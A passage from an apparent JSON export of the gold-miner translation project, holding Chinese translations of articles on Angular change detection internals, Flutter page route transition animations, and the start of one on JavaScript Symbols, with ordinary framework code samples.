[检查并更新](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/provider.ts#L154)子组件或子指令实例的输入属性\n3.  [更新](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/provider.ts#L436)子视图的变化检测状态（这也是变化检测策略的一部分）\n4.  对嵌入的视图[执行变化检测](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/view.ts#L327)（重复此列表中的步骤）\n5.  如果绑定发生了改变，对子组件[调用](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/provider.ts#L202) `OnChanges` 生命周期钩子\n6.  对子组件[调用](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/provider.ts#L202) `OnInit` 和 `ngDoCheck`（`OnInit` 只会在第一次检测时调用）\n7.  [更新](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/query.ts#L91)子视图组件实例的 `ContentChildren` 查询列表\n8.  对子组件实例[调用](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/provider.ts#L503) `AfterContentInit` 和 `AfterContentChecked` 生命周期钩子（`AfterContentInit` 只会在第一次检测时调用）\n9.  如果**当前视图**组件实例的属性发生改变，[更新**当前视图**的 DOM 插值](https://hackernoon.com/the-mechanics-of-dom-updates-in-angular-3b2970d5c03d)\n10.  对子视图[执行变化检测](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/view.ts#L541)（重复此列表中的步骤）\n11.  [更新](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/query.ts#L91)当前试图组件实例的 `ViewChildren` 查询列表\n12.  对子组件实例[调用](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/provider.ts#L503) `AfterViewInit` 和 `AfterViewChecked` 生命周期钩子（`AfterViewInit` 只在第一次检测时调用）\n13.  [取消](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/view.ts#L346)对当前视图的检查（这也是变化检测策略的一部分）\n\n对于上面的操作列表，以下几点值得一提：\n\n首先，子组件会在子视图被检测之前触发 `onChanges` 生命周期钩子，哪怕子视图的变化检测被跳过了。这是十分重要的一点，之后我们会在第二部分中看到我们可以如何利用这一点。\n\n第二，当检测视图时，更新视图的 DOM 是变化检测机制的一部分。也就是说，如果组件没被检测，DOM 也就不会更新，用于模板中的组件属性发生了变化。第一次检测之前，模板就已经被渲染好了。我所说的更新 DOM 其实是指更新插值。比如 `<span>some {{name}}</span>`，在第一次检测之前，就会把 DOM 元素 `span` 渲染好。检测过程中，只会渲染 `{{name}}` 部分。\n\n另一个很有意思的是，子组件视图的状态可以在变化检测的时候改变。之前我提到所有的组件视图都默认初始化为 `ChecksEnabled`。但是所有使用 `OnPush` 策略的组件，在第一次检测之后，就不在进行变化检测了（列表中的第 9 步）：\n\n```ts\nif (view.def.flags & ViewFlags.OnPush) {\n  view.state &= ~ViewState.ChecksEnabled;\n}\n```\n\n也就是说，之后的变化检测，都会将它和它的子组件跳过。`OnPush` 的文档中说，只有在它的绑定发生变化时，才会执行检测。所以要设置 `CheckesEnabled` 位来启用检测。下面这段代码就是这个作用（第 2 步操作）：\n\n```ts\nif (compView.def.flags & ViewFlags.OnPush) {\n  compView.state |= ViewState.ChecksEnabled;\n}\n```\n\n只有当父视图的绑定发生了变化，且子组件视图初始化为 `ChangeDetectionStrategy.OnPush` 时，才会更新状态。\n\n最后，当前视图的变化检测也负责启动子视图的变化检测（第 8 步）。此处会检查子组件视图的状态，如果是 `ChecksEnabled`，那么就对其执行变化检测。这是相关的代码：\n\n```ts\nviewState = view.state;\n...\ncase ViewAction.CheckAndUpdate:\n  if ((viewState & ViewState.ChecksEnabled) &&\n    (viewState & (ViewState.Errored | ViewState.Destroyed)) === 0) {\n    checkAndUpdateView(view);\n  }\n}\n```\n\n现在你知道了视图状态控制了是否对此视图和它的子视图进行变化检测。现那么问题来了——我们能控制这个状态吗？答案是可以，这也是本文第二部分要讲的。\n\n有些生命周期钩子在更新 DOM 前调用（3, 4, 5），有些在之后（9）。比如有这样一个组件结构：`A -> B -> C`，它们的生命周期钩子调用和更新绑定的顺序是这样的：\n\n```\nA: AfterContentInit\nA: AfterContentChecked\nA: Update bindings\n    B: AfterContentInit\n    B: AfterContentChecked\n    B: Update bindings\n        C: AfterContentInit\n        C: AfterContentChecked\n        C: Update bindings\n        C: AfterViewInit\n        C: AfterViewChecked\n    B: AfterViewInit\n    B: AfterViewChecked\nA: AfterViewInit\nA: AfterViewChecked\n```\n\n* * *\n\n### 总结\n\n假设我们有如图所示的组件树\n\n![](https://cdn-images-1.medium.com/max/800/1*aRo_mATLsi0B3p7E6Ndv4Q.png)\n\n一颗组件树\n\n根据前面说的，每个组件都有一个视图与之相关联。每一个视图都初始化为 `ViewState.ChecksEnabled`，也就是说当 Angular 进行变化检测时，这棵树中的每一个组件都会被检测。\n\n假如我们想禁用 `AComponent` 和它的子组件的变化检测，只需要将 `ViewState.ChecksEnabled` 设置为 `false`。由于改变状态是低阶操作，所以 Angular 为我们提供了许多视图的公共方法。每个组件都可以通过 `ChangeDetectorRef` 令牌来获取与之相关联的视图。Angular 文档中对这个类定义了如下公共接口：\n\n```ts\nclass ChangeDetectorRef {\n  markForCheck() : void\n  detach() : void\n  reattach() : void\n  \n  detectChanges() : void\n  checkNoChanges() : void\n}\n```\n\n来看下我们可以如何使用这些接口。\n\n#### detach\n\n第一个允许我们操作状态的是 `detach`，它可以对当前视图禁用检查：\n\n```ts\ndetach(): void { this._view.state &= ~ViewState.ChecksEnabled; }\n```\n\n来看下如何在代码中使用：\n\n```ts\nexport class AComponent {\n  constructor(public cd: ChangeDetectorRef) {\n    this.cd.detach();\n  }\n```\n\n这保证了在接下来的变化检测中，从 `AComponent` 开始，左子树都会被跳过（橙色的组件都不会被检测）：\n\n![](https://cdn-images-1.medium.com/max/800/1*QtTCrT0cVGxoPJAapKGSAA.png)\n\n这里需要注意两点——首先，尽管我们改变的是 `AComponent` 的状态，其所有子组件都不会被检测。第二，由于整个左子树的组件都不执行变化检测，它们模板中的 DOM 也不会更新。下面的例子简单描述了一下这种情况：\n\n```ts\n@Component({\n  selector: 'a-comp',\n  template: `<span>See if I change: {{changed}}</span>`\n})\nexport class AComponent {\n  constructor(public cd: ChangeDetectorRef) {\n    this.changed = 'false';\n\n    setTimeout(() => {\n      this.cd.detach();\n      this.changed = 'true';\n    }, 2000);\n  }\n```\n\n当组件第一次被检测时，`span` 就会被渲染成 `See if I change: false`。两秒之后，`changed` 属性变成了 `true`，`span` 中的文字并不会更新。然而，如果去掉 `this.cd.detach()`，就会按照预想的样子更新了。\n\n#### reattach\n\n如第一部分所说，如果 `AComponent` 的输入绑定 `aProp` 发生了变化，`AComponent` 的 `Onchanges` 声明周期钩子就会被触发。这意味着一旦我们得知输入属性发生了变化，就可以对当前组件启动变化检测器来检测变化，然后在下一个周期将其分离。这段代码就是这个作用：\n\n```ts\nexport class AComponent {\n  @Input() inputAProp;\n\n  constructor(public cd: ChangeDetectorRef) {\n    this.cd.detach();\n  }\n\n  ngOnChanges(values) {\n    this.cd.reattach();\n    setTimeout(() => {\n      this.cd.detach();\n    })\n  }\n```\n\n由于 `reattach` 只是简单地[设置](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/refs.ts#L242) `ViewState.ChecksEnabled` 位：\n\n```ts\nreattach(): void { this._view.state |= ViewState.ChecksEnabled; }\n```\n\n这和将 `ChangeDetectionStrategy` 设置为 `OnPush` 的效果基本上是一样的：在第一次变化检测之后禁用检测，在父组件绑定的属性发生变化时启用，检测完之后再次禁用。\n\n需要注意的是，`OnChanges` 钩子只会在禁用检测的子树的最顶端组件触发，并不会对整个子树的所有组件都触发。\n\n#### markForCheck\n\n`reattach` 方法只是对当前组件启用检测，如果它的父组件没有启用变化检测，就不会生效。也就是说 `reattach` 方法只对最禁用检测的子树的顶端组件有用。\n\n我们需要一个能够检测所有父组件直到根组件的方法。[这个方法](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/util.ts#L110)就是 `markForCheck`：\n\n```ts\nlet currView: ViewData|null = view;\nwhile (currView) {\n  if (currView.def.flags & ViewFlags.OnPush) {\n    currView.state |= ViewState.ChecksEnabled;\n  }\n  currView = currView.viewContainerParent || currView.parent;\n}\n```\n\n从代码中可以看出，它只是简单地向上迭代直到根节点，将所有的父组件都启用检查。\n\n那么什么时候能用到这个方法呢？和 `ngOnChanges` 一样，使用 `OnPush` 策略时也会 `ngDoCheck` 生命周期钩子。再说一次，只有禁用检查的子树的最顶端的组件会触发，子树里的其他组件都不会触发。但是我们可以使用这个钩子来执行一些自定义的逻辑，然后将组件标记为可以执行一次变化检测。由于 Angular 只检测对象引用，我们可以在此检查一下对象的属性：\n\n```ts\nComponent({\n   ...,\n   changeDetection: ChangeDetectionStrategy.OnPush\n})\nMyComponent {\n   @Input() items;\n   prevLength;\n   constructor(cd: ChangeDetectorRef) {}\n\n   ngOnInit() {\n      this.prevLength = this.items.length;\n   }\n\n   ngDoCheck() {\n      if (this.items.length !== this.prevLength) {\n         this.cd.markForCheck(); \n         this.prevLenght = this.items.length;\n      }\n   }\n```\n\n#### detectChanges\n\n有一种方法可以对当前组件和所有子组件执行**一次**变化检测，这就是 `detectChanges` [方法](https://github.com/angular/angular/blob/6b79ab5abec8b5a4b43d563ce65f032990b3e3bc/packages/core/src/view/refs.ts#L239)。这个方法会对当前组件视图执行变化检测，不管组件的状态是什么。也就是说，视图仍会禁用检测，并且在接下来常规的变化检测中，不会检测此组件。比如：\n\n```ts\nexport class AComponent {\n  @Input() inputAProp;\n\n  constructor(public cd: ChangeDetectorRef) {\n    this.cd.detach();\n  }\n\n  ngOnChanges(values) {\n    this.cd.detectChanges();\n  }\n```\n\n尽管变化检测器引用仍保持分离，但 DOM 元素仍会随着输入绑定的变化而变化。\n\n#### checkNoChanges\n\n这是变化检测器的最后一个方法，其主要作用是保证当前执行的变化检测中，不会有变化发生。简单来说，它执行本文第一部分提到的列表中的第 1、7、8 步。如果发现绑定发生了变化或者 DOM 需要更新，就抛出异常。\n\n* * *\n\n### 还有疑问？\n\n对于本文如果你有任何问题，请到 Stack Overflow 提问，然后在本文评论区贴上链接。这样整个社区都能受益。谢谢。\n\n### 请在 [Twitter](https://twitter.com/maxim_koretskyi) 和 [Medium](https://medium.com/@maxim.koretskyi) 上关注我以获得更多资讯\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/everything-you-need-to-know-about-flutter-page-route-transition.md",
    "content": "> * 原文地址：[Everything you need to know about Flutter page route transition](https://medium.com/flutter-community/everything-you-need-to-know-about-flutter-page-route-transition-9ef5c1b32823)\n> * 原文作者：[Divyanshu Bhargava](https://medium.com/@divyanshub024)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/everything-you-need-to-know-about-flutter-page-route-transition.md](https://github.com/xitu/gold-miner/blob/master/TODO1/everything-you-need-to-know-about-flutter-page-route-transition.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[Charlo-O](https://github.com/Charlo-O)\n\n# 关于 Flutter 页面路由过渡动画，你所需要知道的一切\n\n![](https://cdn-images-1.medium.com/max/3200/1*WAl2w_h9BRPm1HfhNJ6mSA.png)\n\n在使用 Flutter 的时候，我们都知道从一个路由跳转到另一个这件事非常简单。我们只需要做 push 和 pop 的操作即可。\n\npush 操作：\n\n```\nNavigator.push(\n    context,\n    MaterialPageRoute(builder: (context) => SecondRoute()),\n  );\n```\n\npop 操作：\n\n```\nNavigator.pop(context);\n```\n\n**就这么简单。但是这样做，路由跳转就是无聊的页面切换，完全没有动画效果 😦**\n\n当我们在 [Winkl](http://bit.ly/2KNpLo4) 开始第一次应用动画效果，我们意识到，页面跳转的过渡效果可以让你的用户交互界面变得很好看。如果你想要一个像 iOS 上那样的滑动页面切换，你可以用 **CupertinoPageRoute**。只有这个，没有其他的了。\n\n```\nNavigator.push(\n    context, CupertinoPageRoute(builder: (context) => Screen2()))\n```\n\n但是，对于用户自定义的过渡效果，Flutter 提供了不同的方案：[动画组件](https://flutter.dev/docs/development/ui/widgets/animation)。下面我们一起来看看如何应用它。\n\n我们知道，**Navigator.push** 接受两个参数 **(BuildContext context, Route<T> route)**。我们可以使用一些过渡动画来创建自定义的页面路由跳转。我们先从一些简单的例子开始，比如滑动过渡。\n\n### 滑动过渡\n\n首先，我们要扩充类 PageRouteBuilder，然后定义 transitionsBuilder，它将返回滑动过渡组件。这个滑动过渡组件将使用类型 **Animation<Offset>** 的位置信息，我们将会使用 **Tween<Offset>** 来给出动画开始和结束的偏移量。\n\n```\nimport 'package:flutter/material.dart';\n\nclass SlideRightRoute extends PageRouteBuilder {\n  final Widget page;\n  SlideRightRoute({this.page})\n      : super(\n          pageBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n          ) =>\n              page,\n          transitionsBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n            Widget child,\n          ) =>\n              SlideTransition(\n                position: Tween<Offset>(\n                  begin: const Offset(-1, 0),\n                  end: Offset.zero,\n                ).animate(animation),\n                child: child,\n              ),\n        );\n}\n```\n\n我们现在就可以像这样使用 **SlideRightRoute** ，代替了之前的 **MaterialPageRoute**。\n\n```\nNavigator.push(context, SlideRightRoute(page: Screen2()))\n```\n\n代码运行的效果是...\n\n![](https://cdn-images-1.medium.com/max/2000/1*3PohRvAFrLe0hBp23wHCWQ.gif)\n\n代码非常简单的对吧？你可以通过修改偏移量 **offset** 来改变滑动过渡的方向。\n\n### 缩放过渡\n\n缩放过渡会通过改变组件的大小来完成动画效果。你也可以通过修改 **CurvedAnimation** 的 **curves** 来改变动画。下面这个例子我使用的是 **Curves.fastOutSlowIn。**\n\n```\nimport 'package:flutter/material.dart';\n\nclass ScaleRoute extends PageRouteBuilder {\n  final Widget page;\n  ScaleRoute({this.page})\n      : super(\n          pageBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n          ) =>\n              page,\n          transitionsBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n            Widget child,\n          ) =>\n              ScaleTransition(\n                scale: Tween<double>(\n                  begin: 0.0,\n                  end: 1.0,\n                ).animate(\n                  CurvedAnimation(\n                    parent: animation,\n                    curve: Curves.fastOutSlowIn,\n                  ),\n                ),\n                child: child,\n              ),\n        );\n}\n```\n\n代码运行的效果是...\n\n![](https://cdn-images-1.medium.com/max/2000/1*eoE7viPQK-i_ENa59_Qocw.gif)\n\n### 旋转过渡\n\n旋转过渡会以转动作为组件的动画。你也可以为你的 **PageRouteBuilder** 加入 **transitionDuration**。\n\n```\nimport 'package:flutter/material.dart';\n\nclass RotationRoute extends PageRouteBuilder {\n  final Widget page;\n  RotationRoute({this.page})\n      : super(\n          pageBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n          ) =>\n              page,\n          transitionDuration: Duration(seconds: 1),\n          transitionsBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n            Widget child,\n          ) =>\n              RotationTransition(\n                turns: Tween<double>(\n                  begin: 0.0,\n                  end: 1.0,\n                ).animate(\n                  CurvedAnimation(\n                    parent: animation,\n                    curve: Curves.linear,\n                  ),\n                ),\n                child: child,\n              ),\n        );\n}\n```\n\n代码运行的效果是...\n\n![](https://cdn-images-1.medium.com/max/2000/1*0y_Q7enSbrwWB2zj9nazrw.gif)\n\n### 大小过渡\n\n```\nimport 'package:flutter/material.dart';\n\nclass SizeRoute extends PageRouteBuilder {\n  final Widget page;\n  SizeRoute({this.page})\n      : super(\n          pageBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n          ) =>\n              page,\n          transitionsBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n            Widget child,\n          ) =>\n              Align(\n                child: SizeTransition(\n                  sizeFactor: animation,\n                  child: child,\n                ),\n              ),\n        );\n}\n```\n\n代码运行的效果是...\n\n![](https://cdn-images-1.medium.com/max/2000/1*xoqjWA0KN_tk2rmlD35pZQ.gif)\n\n### 渐变过渡\n\n```\nimport 'package:flutter/material.dart';\n\nclass FadeRoute extends PageRouteBuilder {\n  final Widget page;\n  FadeRoute({this.page})\n      : super(\n          pageBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n          ) =>\n              page,\n          transitionsBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n            Widget child,\n          ) =>\n              FadeTransition(\n                opacity: animation,\n                child: child,\n              ),\n        );\n}\n```\n\n代码运行的效果是...\n\n![](https://cdn-images-1.medium.com/max/2000/1*WVzbhZapoLuCPQ508tF_HQ.gif)\n\n**棒棒哒！！** 现在我们学习过了所有基础的过渡效果。\n\n***\n\n现在我们来实践一些更高级的。如果在进入页面和离开页面这两个路由跳转的时候都想要动画该怎么做呢？我们可以使用堆栈过渡动画（stack transition animations），并应用于这两个路由跳转上。一个例子就是滑入新页面，然后划出旧页面。这是我最喜欢的过渡动画了 ❤️。我们来看看代码是如何实现的。\n\n```\nimport 'package:flutter/material.dart';\n\nclass EnterExitRoute extends PageRouteBuilder {\n  final Widget enterPage;\n  final Widget exitPage;\n  EnterExitRoute({this.exitPage, this.enterPage})\n      : super(\n          pageBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n          ) =>\n              enterPage,\n          transitionsBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n            Widget child,\n          ) =>\n              Stack(\n                children: <Widget>[\n                  SlideTransition(\n                    position: new Tween<Offset>(\n                      begin: const Offset(0.0, 0.0),\n                      end: const Offset(-1.0, 0.0),\n                    ).animate(animation),\n                    child: exitPage,\n                  ),\n                  SlideTransition(\n                    position: new Tween<Offset>(\n                      begin: const Offset(1.0, 0.0),\n                      end: Offset.zero,\n                    ).animate(animation),\n                    child: enterPage,\n                  )\n                ],\n              ),\n        );\n}\n```\n\n然后如下这样来使用 EnterExitRoute：\n\n```\nNavigator.push(context,\n    EnterExitRoute(exitPage: this, enterPage: Screen2()))\n```\n\n代码运行的效果是...\n\n![](https://cdn-images-1.medium.com/max/2000/1*5PIKSynhS-fImK8WikmBSQ.gif)\n\n***\n\n我们也可以将多个过渡效果结合在一起，创建出很多神奇的效果，比如同时应用缩放和旋转。首先，创建 ScaleTransition，它的 child 属性包括了 RotationTransition，而 RotationTransition 的 child 属性则是要显示动画的页面。\n\n```\nimport 'package:flutter/material.dart';\n\nclass ScaleRotateRoute extends PageRouteBuilder {\n  final Widget page;\n  ScaleRotateRoute({this.page})\n      : super(\n          pageBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n          ) =>\n              page,\n          transitionDuration: Duration(seconds: 1),\n          transitionsBuilder: (\n            BuildContext context,\n            Animation<double> animation,\n            Animation<double> secondaryAnimation,\n            Widget child,\n          ) =>\n              ScaleTransition(\n                scale: Tween<double>(\n                  begin: 0.0,\n                  end: 1.0,\n                ).animate(\n                  CurvedAnimation(\n                    parent: animation,\n                    curve: Curves.fastOutSlowIn,\n                  ),\n                ),\n                child: RotationTransition(\n                  turns: Tween<double>(\n                    begin: 0.0,\n                    end: 1.0,\n                  ).animate(\n                    CurvedAnimation(\n                      parent: animation,\n                      curve: Curves.linear,\n                    ),\n                  ),\n                  child: child,\n                ),\n              ),\n        );\n}\n```\n\n代码运行的效果是...\n\n![](https://cdn-images-1.medium.com/max/2000/1*M3AL5EOXoLqnvnItBr7fzg.gif)\n\n***\n\n![](https://cdn-images-1.medium.com/max/2000/1*1yYzQI2L7cIuizL3KkyE5A.gif)\n\n棒极了！这些就是关于 Flutter 页面路由过渡动画，你所需要知道的一切。亲自试着将不同的过渡效果结合起来，创造出一些很棒的动画吧，并且别忘了和我分享你的成果。所有代码的源码可见：[GitHub 仓库](https://github.com/divyanshub024/Flutter-page-route-transition)。\n\n***\n\n如果你喜欢本篇文章那就请点个赞吧，并且可以在 [Twitter](https://twitter.com/divyanshub024)，[Github](https://github.com/divyanshub024) 和 [LinkedIn](https://www.linkedin.com/in/divyanshub024/) 联系我。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/everything-you-need-to-know-about-javascript-symbols.md",
    "content": "> * 原文地址：[Everything you need to know about JavaScript symbols](https://levelup.gitconnected.com/everything-you-need-to-know-about-javascript-symbols-24650a163038)\n> * 原文作者：[Narek Ghevandiani](https://medium.com/@narghev)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/everything-you-need-to-know-about-javascript-symbols.md](https://github.com/xitu/gold-miner/blob/master/TODO1/everything-you-need-to-know-about-javascript-symbols.md)\n> * 译者：[Jessica](https://github.com/cyz980908)\n> * 校对者：[Gesj-yean](https://github.com/Gesj-yean)，[X1ny](https://github.com/x1ny)\n\n# 关于 JavaScript 中 Symbol 数据类型你需要了解的一切\n\n![](https://cdn-images-1.medium.com/max/3684/1*13nRTbL0V3Idd3fDdKGkjQ.png)\n\n**JavaScript 的 Symbol** 是一个相对较新的 JavaScript “特性”。它于 2015 年作为 [ES6](http://es6-features.org) 的一部分被引入。在这篇文章中，我将会讲到：\n\n1. 究竟 JavaScript 中的 Symbol 是什么\n2. 在语言中加入这种数据类型的动机\n3. Symbol 数据类型是否成功地解决了它所要解决的问题？\n4. 与其他语言中的 Symbol 数据类型的区别，例如 Ruby\n5. JavaScript 中一些比较出名的 symbol\n6. 这种数据类型的好处\n\n## JavaScript 中的 Symbol\n\n2015 年，Symbol 被添加到 JavaScript 中的原始数据类型中。它是 ES6 规范的一部分，它的唯一目的是作为**对象属性的唯一标识符**，也就是说，它可以作为对象中的**键**。你可以把 symbol **看作**是一个很大的数，每次创建一个 symbol 时，都会生成一个新的随机数（uuid）。你可以使用这个symbol（随机大数）作为对象中的键。\n\nsymbol 是通过调用 Symbol 函数创建的，该函数接受一个可选参数字符串，该字符串仅用于调试，并充当 symbol 的描述。Symbol 函数会返回唯一的 symbol 值。\n\n![](https://cdn-images-1.medium.com/max/3880/1*CbM8A2Xj43EjYVz8Vmi_Og.png)\n\n注意，Symbol 不是构造函数，**不能**用 **new** 调用。\n\n![](https://cdn-images-1.medium.com/max/4656/1*9i7eeHcx4t-NCESG71aZbQ.png)\n\n你还可以创建分配给**全局 symbol 注册表**的 symbol。**`Symbol.for()`** 和 **`Symbol.keyFor()`** 方法可以在全局 symbol 注册表中创建和读取 symbol。**`Symbol.for()`** 方法在全局 symbol 注册表中查找并根据是否找到 symbol 来检索或初始化 symbol。\n\n![](https://cdn-images-1.medium.com/max/6984/1*IBCJQzFflSlnOAgMYNP4MA.png)\n\n**`Symbol.keyFor()`** 方法会在全局 symbol 注册表查找 symbol，如果找到则返回其键，否则返回 `undefined`。而对于 **`Symbol.for()`** 方法，你可以将全局 symbol 注册表看作一个全局对象，其中键是传递给 **`Symbol.for()`** 的字符串，值是 symbol。\n\n![](https://cdn-images-1.medium.com/max/5688/1*HZ06QgqZp3IQOpQ6LuYkkQ.png)\n\n注册到全局的 symbol 对象不仅可以在所有范围内访问，甚至可以跨作用域访问。\n\n## 在 Javascript 中加入这种数据类型的动机\n\n添加这种数据类型的原因之一是为了在 JavaScript 中可以使用私有属性。在 Symbol 之前，私有性和不变性是通过闭包、代理和其他变通的方法来解决的。但是所有这些解决方案都过于冗长，需要大量的代码和逻辑才能实现。\n\n因此，让我们看一下 Symbol 会如何解决该问题。从 Symbol 函数返回的每个 symbol 值都是唯一的，并且可用作对象属性标识符。这是 Symbol 的主要用途。\n\n![](https://cdn-images-1.medium.com/max/4328/1*4aakLJrmi1vCnqPIncSFDw.png)\n\n由于每个 symbol 都是唯一的，并且两个 symbol 之间不相等，所以如果当一个 symbol 用作属性标识符，并且在某个作用域内不可时用，那么这个属性则无法在该作用域中访问。\n\n![](https://cdn-images-1.medium.com/max/4656/1*DOx36fH8NLbGYatdUKWG9w.png)\n\n![](https://cdn-images-1.medium.com/max/4912/1*JoAxAJgflsM6tUEXSZ_sXQ.png)\n\n可以使用 **`Symbol.for()`** 访问全局 symbol 注册表中定义的 symbol，参数相同，返回的 symbol 相同。\n\n![](https://cdn-images-1.medium.com/max/4048/1*CaQbgutU-KYxLPOQm-7Ztw.png)\n\n看起来 Symbol 很厉害是吧。它帮助我们创建了无法重复的唯一值，并使用它来**隐藏**属性。但是，它真的可以解决私有属性问题吗？\n\n## symbol 能实现私有属性吗?\n\nJavaScript 的 Symbol **没有** 实现属性私有化。你不能指望用 Symbol 来对使用者隐藏一些你的库中的内容。在 Object 类上定义了一个名为 **Object.getOwnPropertySymbols()** 的方法，该方法需要传入一个对象作为参数并返回参数对象的属性 symbol 数组，所以即使是 symbol 也都无法隐藏属性。\n\n![](https://cdn-images-1.medium.com/max/7072/1*mzNkoGU403VrYTL0T2GBtw.png)\n\n此外，如果将 symbol 分配给全局 symbol 注册表，这样全局都可以对 symbol 及其属性值访问。\n\n## 计算机编程中的 Symbol\n\n如果你熟悉其他编程语言，你可能会知道它们也有 symbol。事实上，即使数据类型的名称是相同的，它们之间也有相当大的差异。\n\n现在让我们讨论一下编程中的 symbol。[维基百科](https://en.wikipedia.org/wiki/Symbol_(programming))中 symbol 的定义如下：\n\n> 在计算机编程中 symbol 一般指的都是一种原始数据类型，它的实例具有唯一的可读性。\n\n在 JavaScript 中，symbol 是一种基本的数据类型，虽然 JavaScript 不会强制你把实例变成易于阅读的，但你可以为 symbol 提供一个用于调试的描述属性。\n\n看到这，我们应该知道 **JavaScript** 中的 symbol 和其他语言的 symbol 还是有区别的。让我们看一下 [**Ruby 语言中的 symbol**](https://ruby-doc.org/core-2.2.0/Symbol.html)。在 Ruby 中，Symbol 对象通常用于表示一些字符。它们通过冒号语法生成，也可以使用 **`to_sym`** 方法通过类型转换生成。\n\n![](https://cdn-images-1.medium.com/max/5176/1*0u8FeH7Nn_fSmLWV2ixcLg.png)\n\n或许你也注意到了，在 Ruby 中，我们绝不会将“创建的” symbol 分配给变量。如果我们在 Ruby 代码中使用（**创建**）了 symbol，则在程序的整个执行过程中，不管其创建上下文如何，symbol 将始终是相同的。\n\n![](https://cdn-images-1.medium.com/max/5088/1*KbQyAg5yHC7KXSdBSWyR7Q.png)\n\n而在 JavaScript 中，我们可以通过在全局 symbol 注册表中创建 symbol 来完成同样的操作。\n\n两种语言中的 symbol 的一个主要区别是，在 Ruby 中，symbol 可以代替字符串使用，实际上在很多情况下， symbol 可以自动转换为字符串。在字符串对象上可用的方法在 symbol 上也可用，正如我们看到的，可以使用 **`to_sym`** 方法将字符串转换为 symbol。\n\n我们已经了解了 JavaScript 添加 symbol 这种数据类型的原因和动机，现在让我们看看 symbol 在 Ruby 中的用途是什么。在 Ruby 中，我们可以将 symbol 